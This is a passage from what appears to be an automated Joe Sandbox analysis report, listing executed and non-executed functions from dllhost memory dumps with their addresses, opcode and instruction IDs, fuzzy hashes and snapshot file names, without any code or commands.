              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction ID: f2b73b479c221ad2f2bd762e09818578f0cad8435fd757672c46b34ca3690437
              • Opcode Fuzzy Hash: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction Fuzzy Hash: F8419970E1551E8FEBA4EBA8C4657ACB7F2FF58700F514079D00DE3292DE746A818B15
              Function 00007FFD9BAADC2D Relevance: .1, Instructions: 97COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 1cd19958526f7fdfdb44a15ccb74cebcab917c139936cc1e910b65d5a4d304c3
              • Instruction ID: 16cbad56bd0f35b5ad44493ad80385f9ec4af30b2586ac89f9dc4f40b768d48f
              • Opcode Fuzzy Hash: 1cd19958526f7fdfdb44a15ccb74cebcab917c139936cc1e910b65d5a4d304c3
              • Instruction Fuzzy Hash: 56312230A0E68D8FDBA5DF64C864BE97BA1FF15300F0101BAE498D72D2CB78AA04C751
              Function 00007FFD9BAA12B7 Relevance: .1, Instructions: 93COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 918090001bd651af8e6f63687bdd95a5ce32062b3bcee7865c80a7724bd3cd9c
              • Instruction ID: 2b9c193494223ae6fe43bb1fa9391251714fc2f7e094a48999cf0d39abf4f496
              • Opcode Fuzzy Hash: 918090001bd651af8e6f63687bdd95a5ce32062b3bcee7865c80a7724bd3cd9c
              • Instruction Fuzzy Hash: 8741A870E1551E8FEBB5EB58C8657E8B6F2FF58700F0181FA900DE2291DE746A808F54
              Function 00007FFD9BAA0B8D Relevance: .1, Instructions: 92COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 218824c123fa68c2801317d487b967aad76b4f379704466ea4a15e05918581ee
              • Instruction ID: 5334e21732304d5618045c70e110c63d6b8577dc1b06f099e4782d3791a481b2
              • Opcode Fuzzy Hash: 218824c123fa68c2801317d487b967aad76b4f379704466ea4a15e05918581ee
              • Instruction Fuzzy Hash: 56314B70E0A11E8FEB70ABA4C9246FDB7E2AF04704F014576D01DA71E1DBB8AA448B64
              Function 00007FFD9BAB5470 Relevance: .1, Instructions: 89COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 18a07ff3b0b24316979d9444572a165e4b3e347b59ae22c7d41aedfa05475445
              • Instruction ID: 562b813b5f956b36c2213968a74fffea293a8fe7c2a570ced06de1ebea5eb318
              • Opcode Fuzzy Hash: 18a07ff3b0b24316979d9444572a165e4b3e347b59ae22c7d41aedfa05475445
              • Instruction Fuzzy Hash: 7531D431A0E28D8FE765ABA4CC246FD7BA1FF05311F0506B6D429C21E2EAB86254CB41
              Function 00007FFD9BAB96C4 Relevance: .1, Instructions: 85COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c688eaf9bbc4af2fcc54b89e8e51cbc91c3f0e8807b006e41bd808c193b381e6
              • Instruction ID: cebcbee11ecc69bfd8ac810ddaf11b7060c2226c9045505c3b1d2f7ea0e64865
              • Opcode Fuzzy Hash: c688eaf9bbc4af2fcc54b89e8e51cbc91c3f0e8807b006e41bd808c193b381e6
              • Instruction Fuzzy Hash: 4F310A70E0952D9EEB64EFA8C8656FCB7F1FF59310F55017AD019E32A2CA7869858F00
              Function 00007FFD9BAA19D3 Relevance: .1, Instructions: 81COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 93abf7c317cbc8bf0cb3f5bee46dd38379647f40b6eee2e8032a0965abdff5c9
              • Instruction ID: 992ddf8923b4e56762769141015f76ee5b54a9bfd5cff668d6d5029ff25d9aa0
              • Opcode Fuzzy Hash: 93abf7c317cbc8bf0cb3f5bee46dd38379647f40b6eee2e8032a0965abdff5c9
              • Instruction Fuzzy Hash: 52213A27B0F68D2FD711AFA8AC245EE7F60DFA2226F0501F7D548CB193E9240549C7A1
              Function 00007FFD9BAA168D Relevance: .1, Instructions: 79COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 42a7fb9f6c747e0c2c313567bc4ca4619bc7b141be979bc62b3858ab74b5499b
              • Instruction ID: 71a19451a2e2a70eace704c3a71f84b4f144bd6931569e0e6278f0c864ed98e8
              • Opcode Fuzzy Hash: 42a7fb9f6c747e0c2c313567bc4ca4619bc7b141be979bc62b3858ab74b5499b
              • Instruction Fuzzy Hash: 93211870A09A1D8FDBA4EB98C4A46FD77F2FF68300F11412AD009E72A1CA786940CF54
              Function 00007FFD9BAB9E7D Relevance: .1, Instructions: 77COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b7959befb6cb4fec4a6a8cb2e8248f565a9c68e4878feb38cbd6e23ddec5ce33
              • Instruction ID: 931d35f588a6560f5e8bc53df84bc89a30d8fda47dc66a25dc8cfd456cfecbec
              • Opcode Fuzzy Hash: b7959befb6cb4fec4a6a8cb2e8248f565a9c68e4878feb38cbd6e23ddec5ce33
              • Instruction Fuzzy Hash: 42217F2190E7DA4FE7529FB488681B93FB0EF52214F0941EBD464CB0E3C669AA49C752
              Function 00007FFD9BAB02AD Relevance: .1, Instructions: 77COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 618db6e50660fa5e51ebe1119bbb9912b7315c504fd21f77389a874657be2104
              • Instruction ID: c3820f1d0386656b3c97adad920738a8785b72ecd7b244093615666f75c3490b
              • Opcode Fuzzy Hash: 618db6e50660fa5e51ebe1119bbb9912b7315c504fd21f77389a874657be2104
              • Instruction Fuzzy Hash: 0721B392A0F7D91FD773876408351983F64AF13A00B4A00FBD5A8CB4E7E5996A088796
              Function 00007FFD9BAACDE0 Relevance: .1, Instructions: 77COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ce972d7e24bc865526dfb8da3bf952b81867353b83ac67ea75a800bcbeb43c71
              • Instruction ID: aadf567af34436d39e7f3845bca2cf8136e801699a63878247aee0fba08be9df
              • Opcode Fuzzy Hash: ce972d7e24bc865526dfb8da3bf952b81867353b83ac67ea75a800bcbeb43c71
              • Instruction Fuzzy Hash: 6D219231A1A64D8FEB74EF64C8586ED77B5FF45300F02017AD408D71A1DB786654C751
              Function 00007FFD9BAB0215 Relevance: .1, Instructions: 68COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 1b946dba0c02313b3c02607dde19b5f83a6ec803378ea15ea4637d3ba8808cd4
              • Instruction ID: 58cf0a92be4b21f90a2f0c54d4acded84e210c113bb2bd0696b6032638f79adf
              • Opcode Fuzzy Hash: 1b946dba0c02313b3c02607dde19b5f83a6ec803378ea15ea4637d3ba8808cd4
              • Instruction Fuzzy Hash: 0E219A2184E3D94FD7279B704C695E97F70AF03200F0A00EBD4A8CB0E3D56C6648C762
              Function 00007FFD9BAB30F0 Relevance: .1, Instructions: 68COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f3022b67c99414418e1146a2d8ab53a8eb753ef734c8b2cf367e1e2fdd02e3b0
              • Instruction ID: 47700187f779d0610e0a3fd98e49cd3345deaabad485374d41cb5e8be52e4573
              • Opcode Fuzzy Hash: f3022b67c99414418e1146a2d8ab53a8eb753ef734c8b2cf367e1e2fdd02e3b0
              • Instruction Fuzzy Hash: 5321A131A1D6AD9FEF64AB58C8287EDB7A0FF15300F01417AD419D21E1DBB8A6548B41
              Function 00007FFD9BAA8EC0 Relevance: .1, Instructions: 65COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 13eadf834977ec0b6d8e12557bd710a4ab2a75a668adeda0a56024efe5004d0b
              • Instruction ID: af4cc916b1772f54dda41628d0a8ef6e6a56ed5a9c0a15694640d73e0233ac3e
              • Opcode Fuzzy Hash: 13eadf834977ec0b6d8e12557bd710a4ab2a75a668adeda0a56024efe5004d0b
              • Instruction Fuzzy Hash: 6F11233090E68E8FDB61EF64C8256ED7BA1FF05300F4144BAE81CC20E2DB78A264CB51
              Function 00007FFD9BAB907F Relevance: .1, Instructions: 62COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e880a69f434c95e9ffdd2369318d5f84321ca514c73dbf8972cb09f2d44f8b7b
              • Instruction ID: b8dada8f28de8476fd44721a3880ac2f26ddd446e6a02c2138fa78c496756cdf
              • Opcode Fuzzy Hash: e880a69f434c95e9ffdd2369318d5f84321ca514c73dbf8972cb09f2d44f8b7b
              • Instruction Fuzzy Hash: A121F431E0951D8FDF94EB98C894BECB7B1FB69311F0001AAD01DE72A2DA746980CF40
              Function 00007FFD9BAB3080 Relevance: .1, Instructions: 59COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8b8ff68b550119baa04ba608b2ee3dae9de419fcc5dbaee5e54a564182cbd2fa
              • Instruction ID: 02a48d06c39241b3e48ec8a922894a0e42b11384e6e75692ff059e00f088b415
              • Opcode Fuzzy Hash: 8b8ff68b550119baa04ba608b2ee3dae9de419fcc5dbaee5e54a564182cbd2fa
              • Instruction Fuzzy Hash: F801A131E0992D4BDFA0EB9CD8246FEB7E0FF58310F010536E019E21A0CE7569508B90
              Function 00007FFD9BAAED44 Relevance: .1, Instructions: 56COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4b38e01ea245c79361b43e5352a65aaeedbf300af2a679d27ea9e8dd77350471
              • Instruction ID: 0ac91847e40396e01a1ff40048c3629c7993800f53c2945c06b4fcb3a55494bb
              • Opcode Fuzzy Hash: 4b38e01ea245c79361b43e5352a65aaeedbf300af2a679d27ea9e8dd77350471
              • Instruction Fuzzy Hash: 69113971E1991D8FEFA0EB9C9895AECB7B2FF58310F20016AD01CE3291DE3469418B40
              Function 00007FFD9BAA1511 Relevance: .0, Instructions: 47COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: d132f3c59ef5cd331fa2ce78ef9b160036c893dc838a33ecc48cc6d90c77fba4
              • Instruction ID: a5fa654500f6bc0dd5b547c2e9d1ac8b310e318d01b4e17383146e58580e5e04
              • Opcode Fuzzy Hash: d132f3c59ef5cd331fa2ce78ef9b160036c893dc838a33ecc48cc6d90c77fba4
              • Instruction Fuzzy Hash: 10019E3188E2CA8FC7135BB488752A03FF1AF57214F0A09EAD0998B0F3E559651AD712
              Function 00007FFD9BAA176F Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0f119ae507c55ac13531006fd2146e68acb021ddf2c534747f0fb1c601867717
              • Instruction ID: 779c15dacce76587a181259769fe09da70e0c5ee515caf5ba907cfd71656d4b9
              • Opcode Fuzzy Hash: 0f119ae507c55ac13531006fd2146e68acb021ddf2c534747f0fb1c601867717
              • Instruction Fuzzy Hash: A7019E3148E3C99FD7439BB08C685D57FF0EF47214B1900EAD489CB0A3DA69564ACB22
              Function 00007FFD9BAA0BD3 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction ID: eac42cf4a6d927cfd9659a202a57fa7a31cd9eb3848c9285b093f84fc707638f
              • Opcode Fuzzy Hash: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction Fuzzy Hash: 1E01FA70E0A12F8AEB70DBE485542FEB6B2AF04705F110536D01DA21A2DBB867448BA8
              Function 00007FFD9BAA0A79 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: cecce8014feba821874003091c227faa91d0234acfe90d2bcac240ad419f07e9
              • Instruction ID: fba414b50cf696daae95d24054db367d0f07721106b9e4cd43f3e10941e36fb9
              • Opcode Fuzzy Hash: cecce8014feba821874003091c227faa91d0234acfe90d2bcac240ad419f07e9
              • Instruction Fuzzy Hash: 5201F731A0E3CD4FE7769BA448742F97FA0AF56710F4600ABD08CC60E3DA685A54C720
              Function 00007FFD9BAA7E38 Relevance: .0, Instructions: 39COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b505c258971ce5cdc27100ac76f845e6ce5b605957c5916a6c995baf97484332
              • Instruction ID: f5755d7195586c4238b18713035c367cea527456f26512cbbb7718269ce3c32d
              • Opcode Fuzzy Hash: b505c258971ce5cdc27100ac76f845e6ce5b605957c5916a6c995baf97484332
              • Instruction Fuzzy Hash: B5F0CD3091994D9FDF94EF58C558AA97BE1FF28301F054565E818C3161DA70EA90CB81
              Function 00007FFD9BAA1494 Relevance: .0, Instructions: 38COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction ID: 63719482d788a69df19f79eb073d5ce3ee0acaeee3e3c192190ae5c96586a7cd
              • Opcode Fuzzy Hash: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction Fuzzy Hash: 3901C870E0A51EDFDB64DF84D8946ECB7B6FB59700F550129D009A32A1DAB46A40CB14
              Function 00007FFD9BAA9540 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 3291242bd81d2d3f60334fa541187bb13f8966b11c03ef673a35a1089e96dc45
              • Instruction ID: a7ec56af53f7a714c957537253b5adf629684874ab246cffcf46031e53c7322c
              • Opcode Fuzzy Hash: 3291242bd81d2d3f60334fa541187bb13f8966b11c03ef673a35a1089e96dc45
              • Instruction Fuzzy Hash: 7FF01730E1A90E9EEF90EFA898196FEB7E5FF18300F410426E41DC21A0DB7462548B41
              Function 00007FFD9BAA144B Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 531e675243cd8326029b7746c4ac15b86f3ed589c822804345ee91acfbc33dee
              • Instruction ID: 283b86ec417f61102bbe112647a3baf9cb98bfa7b73389bc28f6b385a3038a52
              • Opcode Fuzzy Hash: 531e675243cd8326029b7746c4ac15b86f3ed589c822804345ee91acfbc33dee
              • Instruction Fuzzy Hash: 19F06D70B0551E8FDBA8DB44C890AFD73E2FBA9340F10856AC009E72A0CE746A428B50
              Function 00007FFD9BAA0A90 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 5211cc17f7fe6a9b01bbd868c5eed9df538afc5af419c50212900ebcd68ee416
              • Instruction ID: 52890e14875a99f9daef6d9738e0bbccc1d9db7366c32d7d946054e1b687ed6c
              • Opcode Fuzzy Hash: 5211cc17f7fe6a9b01bbd868c5eed9df538afc5af419c50212900ebcd68ee416
              • Instruction Fuzzy Hash: 7BF05930A1E64E8AEB74EBA484342F97BE0EF15704F410076E08DC10E1DE742694C710
              Function 00007FFD9BAA13FB Relevance: .0, Instructions: 5COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction ID: f01967dd14b5baffd4045d8439313209dd1b6129a221b31b9b499fc335c7e9d3
              • Opcode Fuzzy Hash: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction Fuzzy Hash: 35A01120A2E00E8AE230A38088A00BC22AB2F8A300F022038C00E820A28C882A008220

              Non-executed Functions

              Function 00007FFD9BAAB0BF Relevance: 5.1, Strings: 4, Instructions: 100COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID: 4$P$U$]
              • API String ID: 0-3296448009
              • Opcode ID: 8d32b2d68cee7b5ca60147d966f1998481789552d9f4083aa2ca349e2aee3188
              • Instruction ID: cc9179a70e5801ed9e0d6bb23473487b0f431196ab7bc36d19833fd8c0cc412a
              • Opcode Fuzzy Hash: 8d32b2d68cee7b5ca60147d966f1998481789552d9f4083aa2ca349e2aee3188
              • Instruction Fuzzy Hash: C9419170E0562D8FDBA5DF54C8557E9B7F2BB18301F0141EAD00DA6291DB786B84CF50
              Function 00007FFD9BAAB780 Relevance: 5.1, Strings: 4, Instructions: 59COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID: P$S$U$[
              • API String ID: 0-356612378
              • Opcode ID: a808ab781a990579a5df5f4b69cf9c1ae3d0802b9bff76dab76eb237f5753642
              • Instruction ID: 5eb1211db26d3afafe910903d7850dad9b052c29211e04c0655a34f3bd61bea4
              • Opcode Fuzzy Hash: a808ab781a990579a5df5f4b69cf9c1ae3d0802b9bff76dab76eb237f5753642
              • Instruction Fuzzy Hash: 7131B674E0A62D8FEBB4DF54C8587E9B7F2AB58301F4181E9D00DA6291CBB85A84DF50
              Function 00007FFD9BAAB6F4 Relevance: 5.0, Strings: 4, Instructions: 44COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID: 1$J$i$u
              • API String ID: 0-2765609603
              • Opcode ID: 3f8d00bb9f7b05a331f2df0d3b9c5d087d7c6f376963c7d7e5f25a82d762e3c1
              • Instruction ID: 9a31f62beb7a3ab655ad71373b4227329e68bdb2c6550ba0339b0a31e9a9ce83
              • Opcode Fuzzy Hash: 3f8d00bb9f7b05a331f2df0d3b9c5d087d7c6f376963c7d7e5f25a82d762e3c1
              • Instruction Fuzzy Hash: C011FE30E0925DCAEB788F55C8A47FD77F2AB14311F1141BEC40A662E0CBB85A85CF55